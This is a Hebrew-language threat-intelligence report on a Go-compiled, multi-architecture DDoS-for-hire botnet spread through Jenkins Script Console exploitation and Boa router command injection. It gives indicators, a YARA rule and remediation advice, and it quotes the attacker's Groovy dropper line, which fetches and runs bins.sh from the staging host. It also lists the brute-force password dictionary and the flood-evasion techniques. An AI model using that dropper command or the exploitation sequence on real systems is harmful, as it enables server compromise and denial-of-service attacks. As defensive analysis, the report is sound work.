malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
בוטנט DDoS-להשכרה חוצה-פלטפורמות בשפת Go
Kinryū Labs ניתחה את bot.exe, גרסת ה-Windows של בוטנט DDoS שהודר בשפת Go ומופץ כערכת דרופר של 11 קבצים בינאריים ו-13 ארכיטקטורות, ונמסר דרך קמפיין ניצול רב-ימים של Jenkins Script Console. סקירה של מארח ההיערכות זיהתה API חי ומאומת של DDoS-להשכרה, ערוץ פקודה SSH בשפת Go, ומשפחה משושלת Mirai המתארחת לצדם. אנו מעריכים בביטחון גבוה שמדובר במבצע DDoS-להשכרה מסחרי.
מאת Davis Zheng·
TLP:CLEAR. אושר לפרסום ציבורי. הדגימה וערכת הדרופר שלה נלכדו על ידי רשת חיישני מלכודות הדבש של Kinryū Labs במהלך קמפיין ניצול רב-ימים של Jenkins שנצפה על פני כמה חיישנים. הקבצים הבינאריים שנלכדו נותחו סטטית ולא הורצו; מארח ההיערכות של המפעיל אופיין באמצעות סקירה חיצונית פעילה (מנייַת שירותים, רישום FTP אנונימי, וגישוש לא-מאומת של API חשוף), ללא עקיפת אימות כלשהי. מחווני התוקף מנוטרלים (defanged).
תקציר מנהלים
- 13גרסאות ארכיטקטורה, 11 קבצים בינאריים ייחודיים
- 5שיטות DDoS בעלות שם, ובנוסף API להשכרה
- 3כתובות IP מקור מתואמות ב-/22 יחיד
- 2משפחות בוטנט על מארח יחיד
bot.exe הוא גרסת Windows x86-64 של בוטנט DDoS שהודר בשפת Go ומופץ כערכת דרופר רב-ארכיטקטורות. סקריפט מעטפת נלווה, bins.sh, מאחזר שלוש-עשרה גרסאות ארכיטקטורה, אחת-עשרה ייחודיות לאחר הסרת כפילויות, המכסות x86 בגרסאות 32 ו-64 סיביות, ארבעה פרופילי ARM, ARM64, Android ARM64, ו-MIPS בסדר בתים גדול וקטן, לצד הקובץ הבינארי של Windows. הערכה הגיעה לרשת מלכודות הדבש דרך ניצול שרת Jenkins חשוף.
הנוזקה מטמיעה חמש שיטות הצפה בעלות שם (HTTP, לחיצת יד TLS, ICMP, TLS ישיר, ושיטה נפחית המסומנת VOULT), הצפת HTTP המסובבת מחרוזות User-Agent של דפדפנים וכותרות אזוריות (locale) כדי לדמות תעבורה לגיטימית, ומטעני הזרקת-פקודה המכוונים אל שרת האינטרנט Boa בהתקנים מבוססי RealTek SDK לצורך התפשטות עצמית. סקירה של מארח ההיערכות בכתובת 185.226.93[.]242 זיהתה API מאומת של DDoS-להשכרה ביציאה 3333, שירות SSH המיושם בשפת Go ביציאה 2222 המשמש כערוץ הפקודה, ושירות FTP אנונימי המערך משפחת בוטנט שנייה משושלת Mirai/Gafgyt.
Kinryū Labs מעריכה בביטחון גבוה ש-bot.exe הוא חלק מבוטנט DDoS זדוני, מתפשט-עצמית, רב-ארכיטקטורות, המופעל כשירות מסחרי להשכרה. שלושה ממצאים נושאים את ההערכה: מחרוזות שיטות-ההתקפה והניצול של הקובץ הבינארי עצמו; API חי להשכרה על מארח ההיערכות של המפעיל שמאמת פרמטרי משימה ודורש אימות; וטלמטריית מלכודות דבש של קמפיין רב-צמתים ומתמשך המספק את הערכה.
- bot.exe הוא בוטנט DDoS חוצה-פלטפורמות בשפת Go. חמש מחרוזות יומן של שיטות-הצפה נבדלות נושאות פרמטרים של מטרה ומשך, לצד מנגנון התחזות-דפדפן ותמיכת SOCKS5, כולם במחרוזות לא-מעורפלות ומאוששים על ידי ה-API החי.
- המבצע מופעל כשירות DDoS-להשכרה מסחרי. מארח ההיערכות חושף API ביציאה 3333 שמאמת פרמטרי משימה (
user,psw,host,method,time,port) ודוחה אישורים לא-תקינים. - הבוטנט מתפשט-עצמית דרך הזרקת-פקודה ב-IoT. הקובץ הבינארי נושא מטען הזרקת-פקודה של Boa
formSysCmd, נתיב פריצה-בכוח (brute-force) של התחברות לנתב, ופונקציות מיוצאותloginDeviceו-loginDeviceCaptcha, ומזריק את אותה שורת דרופר יחידה שתועדה ביומני מלכודות הדבש. - שלוש כתובות IP מקור הן מפעיל יחיד. שלוש כתובות ב-
185.226.92[.]0/22סיפקו מטענים זהים בתזמון מתואם ורשימת אישורים משותפת, וכתובות ה-IP של המסירה וההיערכות מציגות מפתחות מארח SSH זהים, מה שמצביע על מארח יחיד או על דימויים משוכפלים.
מסירה: קמפיין מתמשך של Jenkins Script Console
הערכה נמסרה דרך ניצול מופע Jenkins החשוף לאינטרנט. טלמטריית מלכודות הדבש תיעדה שיטה עקבית בת שני שלבים: GET /crumbIssuer/api/json לאחזור אסימון ה-CSRF, ולאחריו POST /script הנושא מטען Groovy Script Console. המטען היה זהה על פני כל הניסיונות ומנוטרל כאן:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
הבקשות נשאו כותרת Authorization: Basic המסובבת מילון קצר של סיסמאות מספריות חלשות עבור חשבון ה-admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), חתימה של רשימת אישורים אוטומטית ולא אימות ממוקד.
הקמפיין רץ במשך כמה ימים בגלים חוזרים ונשנים:
- גל 1גישושים ראשונים: בדיקת CSRF-crumb ולאחריה Groovy RCE, מכתובת ה-IP של ההיערכות ומכתובת שנייה באותו בלוק.
- לכידה
bins.shוכל שלוש-עשרה הגרסאות אוחזרו בשני חיישנים בהפרש של כארבע-עשרה שעות, זהים ברמת הבית בשניהם. - גלים מאוחריםניצול מקבילי משלוש כתובות ה-IP המקור בהפרש של דקות זו מזו, עם User-Agents מסובבים.
בקשות הניצול סיבבו מערכה גדולה של User-Agents ריאליסטיים של דפדפנים, בעוד סריקת הסקירה שחיפשה מטרות Jenkins נוספות (אחזור /login ולאחריו מטח מהיר של בקשות /script) השתמשה ב-Go-http-client/1.1 שהוא ברירת המחדל. User-Agents מזויפים רוכבים על מטעני הניצול; הסורק משתמש בלקוח ה-Go המקורי של הבוטנט. מארח ההיערכות וה-C2 עצמו נטל חלק בניצול, כך שתשתית ההתקפה והאירוח אינן מופרדות.
הנוזקה: בסיס-קוד Go יחיד, אחד-עשר קבצים בינאריים
כתיבת הבוט בשפת Go מאפשרת לבסיס-קוד יחיד לעבור הידור-צולב לכל מטרה שהמפעיל רוצה. הדרופר עובר על כל קו המוצרים, מאחזר כל גרסה עם wget ושוב עם curl כגיבוי, מסמן אותה כניתנת-להרצה, מריץ אותה, ומוחק אותה. הערכה כוללת .exe של Windows, שהדרופר של Linux עדיין מעביר דרך chmod +x, והמבנה שנוצר של הסקריפט מצביע על צינור בנייה-ורישום. לאחר הסרת כפילויות שלוש-עשרה הגרסאות מצטמצמות לאחד-עשר קבצים בינאריים ייחודיים: גרסאות x86 ו-i386 תואמות, וכך גם גרסאות ARM הכללית ו-ARMv7. פריסת הארכיטקטורות, מ-MIPS ו-ARM מדור קודם ועד Android, מסמנת בוטנט המכוון לנתבים, מצלמות, והתקנים מוטמעים אחרים; גרסת Windows נושאת את אותו הקוד למחשבים שולחניים ושרתים.
הקובץ הבינארי אינו ארוז (אנטרופיות מקטעי ה-PE נופלות בין 5.4 ל-6.3) ואינו מקוצץ (מזהה הבנייה של Go וסמלי זמן-הריצה שלמים), כך שיכולותיו יושבות במחרוזות גלויות. חותם הזמן של ההידור מאופס, מה שנורמלי לגרסאות Go.
חמש שיטות הצפה נקראות במחרוזות היומן של הקובץ הבינארי, כל אחת מעוצבת עם מטרה ומשך: הצפת “HTTP (Optimized)”, הצפת מיצוי “Handshake” מסוג TLS/TCP, הצפת “PING” מסוג ICMP, הצפת סשן “TLS+” ישירה, ושיטת “VOULT”, נפחית וסביר שמבוססת UDP. אפשרויות ברמת-היישום וברמת-הרשת נוכחות שתיהן.
הצפת ה-HTTP בנויה לעבור כתעבורה לגיטימית. היא מסובבת יותר מעשר מחרוזות User-Agent של דפדפנים על פני Chrome, Edge, Opera, Firefox ו-Safari ב-Windows, macOS, iPad ו-Android; חמש-עשרה אזוריות Accept-Language; וכותרות טביעת האצבע sec-fetch-* ו-sec-ch-ua-* ששירותי המיטיגציה בוחנים. היא קובעת Referer מתוך מערכה קטנה של אתרים בעלי מוניטין גבוה (google.com, reddit.com, facebook.com, bing.com, twitter.com, ו-fbi.gov). ערך אחד במערכת ה-User-Agent הוא המחרוזת המילולית Hello World, ממלא-מקום של מפתח שיוצר חתימת זיהוי נקייה מפני ששום לקוח לגיטימי אינו שולח אותו.
ההתפשטות מכוונת אל שרת האינטרנט Boa, שדון HTTP מוטמע קטן שעדיין מסופק על נתבים ומצלמות רבים מבוססי RealTek SDK. הקובץ הבינארי נושא מטען הזרקת-פקודה כנגד המטפל formSysCmd של Boa ונתיב פריצה-בכוח של התחברות כנגד ממשקי ניהול של נתבים, עם שדות אישור בפורמט JSON והפונקציות המיוצאות loginDevice ו-loginDeviceCaptcha. הפקודה המוזרקת היא שורת הדרופר היחידה, כך שהתקן שנפרץ הופך לנקודת המסירה עבור הבא בתור.
מודולי ה-Go המצורפים כולם חבילות golang.org/x סטנדרטיות, ללא מסגרת C2 של צד שלישי מקושרת. הם כוללים chacha20poly1305, http2/hpack, dns/dnsmessage, ו-http/httpproxy, התואמים ליכולות הנצפות: ערוץ מוצפן-מאומת, HTTP/2, DNS גולמי, ושרתוּת SOCKS5 (המחרוזות socks5, socks connect, ו-socksUsernamePassword נוכחות). תצורת ה-C2 מאוחזרת בזמן ריצה מ-hxxp://<C2>/config.dat; הכתובת היחידה המקודדת-קשיח בקובץ הבינארי היא מארח ההיערכות.
פיקוד-ובקרה ותשתית היערכות
סקירה של מארח ההיערכות זיהתה את השירותים הבאים:
| יציאה | שירות | תכלית |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, התחברות אנונימית מאופשרת | היערכות נוזקה (משפחה שנייה, למטה) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | גישת מפעיל |
| 1001/tcp | שרת Go net/http | היערכות ראשית: מגיש את bins.sh ואת הגרסאות |
| 2222/tcp | Go SSH (SSH-2.0-Go) | ערוץ פקודת בוט |
| 3333/tcp | שרת Go net/http | API של DDoS-להשכרה |
שני ממצאים תומכים בהערכת ההשכרה. כתובת ה-IP של המסירה ומארח ההיערכות מציגים מפתחות מארח SSH זהים מסוג ED25519, RSA, ו-ECDSA, מה שממקם אותם על אותה מכונה או על דימויים משוכפלים מתבנית אחת, ושירות ה-Go SSH ביציאה 2222 מציג מפתח נבדל מ-OpenSSH של המערכת ביציאה 22, מה שמסמן אותו כיישום נפרד ולא כהעברה (forward). ה-API ביציאה 3333 דוחה בקשה על פרמטרים חסרים (user, psw, host, method, time/duration, port) ומחזיר כשל אימות עבור אישורי בדיקה, כאשר כל שאר הנתיבים מחזירים 404. זהו הממשק המינימלי, המאומת-פר-בקשה, של booter מסחרי, הפועל על תשתית חיה.
משפחה שנייה על אותו מארח
שירות ה-FTP האנונימי מערך משפחת בוטנט נפרדת, המכונה כאן “boatnet” על שם שמות הקבצים שלה. הדרופר שלה (ohshit1.sh) משתמש בלקוח ftpget של BusyBox, משנה את שם כל קובץ בינארי ל-WTF לפני ההרצה, ומשגר גרסאות ברקע על פני חמש-עשרה ארכיטקטורות, כולל מטרות מוטמעות אקזוטיות (ARC, m68k, SH4, SPARC) משושלת Mirai/Gafgyt. הקבצים הבינאריים הם ELF שהודר ב-C, מקוצצים, וארוזים (אנטרופיה 7.6 עד 7.9 ללא קסם UPX, מה שמצביע על אורז מותאם-אישית), כך שמעט שורד סקירה סטטית. פריטי ה-boatnet קדמו לערכת ה-bot.exe ומריצים בסיס-קוד לא-קשור, כך שמארח יחיד מערך שתי משפחות בוטנט נבדלות.
אירוח
שתי כתובות ה-IP של התוקף נופלות ב-185.226.92[.]0/22, הרשום לספק VPS מבוסס-טורקיה (שם הרשת BIGCORE-US, AS205196 / AS57152) דרך RIPE NCC, עם איש קשר לניצול-לרעה [email protected]. אנו מזהים את ספק האירוח לצורכי דיווח ואיננו טוענים דבר לגבי זהות המפעיל.
סימני פריצה
תשתית התוקף מנוטרלת. טביעות הדגימות ומחרוזות הזיהוי נושאות ערכים חיים מתוקף התכנון.
רשת
| מחוון | הקשר |
|---|---|
185.226.93[.]242 | מארח היערכות + C2; גם סורק פעיל |
185.226.92[.]110 | סורק / צומת מסירה ראשי |
185.226.92[.]173 | סורק משני |
185.226.92[.]0/22 | הקצאת אירוח (BIGCORE, AS205196). חסימת פרימטר סבירה |
185.226.93[.]242:1001 | היערכות HTTP (bins.sh + גרסאות) |
185.226.93[.]242:2222 | ערוץ פקודת Go SSH |
185.226.93[.]242:3333 | API של DDoS-להשכרה (/api, מוגן-פרמטרים) |
185.226.93[.]242:21 | FTP אנונימי, היערכות boatnet |
hxxp://<C2>/config.dat | תבנית אחזור תצורת C2 בזמן ריצה |
/boafrm/formSysCmd, /boafrm/formLogin | URIs של Boa RCE ופריצת-התחברות בהתפשטות היוצאת |
מפתח מארח SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | משותף על פני כתובות ה-IP של המסירה וה-C2; מחוון ציר |
קבצים
| קובץ | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (דרופר) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
טביעות ערכת הדרופר המלאה (11 ייחודיות על פני 13 גרסאות)
| גרסה | SHA-256 | גודל (בתים) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
פריטי מארח ואישורים
- מילון פריצת-בכוח של Jenkins
admin:1123,123451,1231231,1111111,12345123. ohshit1.sh(דרופר boatnet) וקובץ בינארי ששמו שונה ל-WTFלפני ההרצה.- User-Agents ייחודיים:
Hello World(הצפת HTTP של הבוט) ו-Go-http-client/1.1(סריקה-עצמית של הבוט).
התנהגותי
- Jenkins
GET /crumbIssuer/api/jsonולאחריוPOST /scriptהנושא מטען GroovyProcessBuilder('sh','-c', …)שמאחזר אתbins.sh. - בקשות יוצאות אל מארח תחת
/config.dat, שקדמה להן שורת יומןConnecting to CNC.... POST /boafrm/formSysCmdנכנס עםsysCmdselect=5וגוףwget … bins.sh.
זיהוי
המחרוזות יציבות ולא-מעורפלות, כך שהחתימות פשוטות. כלל ה-YARA שלהלן הוא מועמד שנבנה ממחרוזות מאומתות; אמת לפני פריסה.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
זיהוי רשת:
- Jenkins: התרע על גופי
POST /scriptהמכיליםProcessBuilderעםwget/curlלכתובת IP גולמית, בפרט כאשר קדם להםGET /crumbIssuer/api/json. - התפשטות IoT:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - תשתית: חסום את
185.226.92[.]0/22, שמכסה את כתובות המסירה וה-C2, והתרע על חיבורים יוצאים אל יציאות 1001, 2222, ו-3333 בטווח הזה.
תיקון
- אל תחשוף את Jenkins לאינטרנט. מקם אותו מאחורי אימות ובידוד רשת, השבת את ה-Script Console עבור לא-מנהלים, והתייחס לשרת בנייה נגיש כאל סיכון פריצה של מארח מלא. זה היה וקטור המסירה.
- אכוף אישורי Jenkins חזקים והגבל קצב אימות. הקמפיין הסתמך על מילון קצר של סיסמאות מספריות חלשות עבור
admin. - פַלֵּח או החלף נתבים והתקני IoT מבוססי RealTek/Boa, וחסום גישה חיצונית לממשקי הניהול שלהם. אלה מטרת ההתפשטות של הבוטנט.
- חסום את הקצאת האירוח (
185.226.92[.]0/22) בפרימטר והתרע על ה-URI של Boa RCE ועל תבנית אחזורconfig.dat. - סַנֵן תעבורה יוצאת. מארח המגיע לכתובת IP גולמית ביציאה 1001 כדי למשוך קבצים בעלי-שם-ארכיטקטורה, או המתחבר ליציאות 2222 או 3333 בטווח הזה, הוא חריג וניתן-ללכידה במקום שבו זיהוי מבוסס-מארח נעדר.
- דַּוֵּח על התשתית. ניתן לדווח על ה-API של DDoS-להשכרה ועל הנוזקה המערכת ב-FTP לאיש הקשר לניצול-לרעה של ספק האירוח (
[email protected]).
מיפוי MITRE ATT&CK
| טקטיקה | טכניקה |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Jenkins Script Console; Boa formSysCmd להתפשטות) |
| Credential Access | T1110.001 Brute Force: Password Guessing (Jenkins admin); T1110.004 Credential Stuffing (התחברות IoT) |
| Execution | T1059 Command and Scripting Interpreter (Groovy דרך Script Console; דרופר מעטפת Unix) |
| Discovery | T1046 Network Service Scanning (סריקה-עצמית של Jenkins/IoT); T1082 System Information Discovery; T1057 Process Discovery |
| Defense Evasion | T1036 Masquerading (סבב User-Agent של דפדפן; שינוי שם boatnet ל-WTF) |
| Command and Control | T1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; Go SSH ביציאה 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS |
| Lateral Movement / Delivery | T1105 Ingress Tool Transfer (היערכות רב-ארכיטקטורות) |
| Impact | T1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (מיצוי לחיצת יד) |
מתודולוגיה והערות
- היקף: ניתוח סטטי של הקבצים הבינאריים שנלכדו, שלא הורצו, וסקירה חיצונית פעילה של מארח ההיערכות (מניית שירותים וכרזות (banners), רישום FTP אנונימי, וגישוש לא-מאומת של ה-API ביציאה 3333). לא נעקף אימות כלשהו.
- כלל ה-YARA הוא מועמד שנבנה ממחרוזות מאומתות; אמת לפני פריסה. הקבצים הבינאריים של boatnet ארוזים והניבו מעט מחרוזות.
- דגימות (ערכת ה-bot.exe, הדרופר, ופריטי ה-boatnet) זמינות לחוקרים ולמגנים אחרים לפי בקשה. כתבו ל-[email protected] עם פתק קצר על מי אתם ולמה אתם זקוקים להם.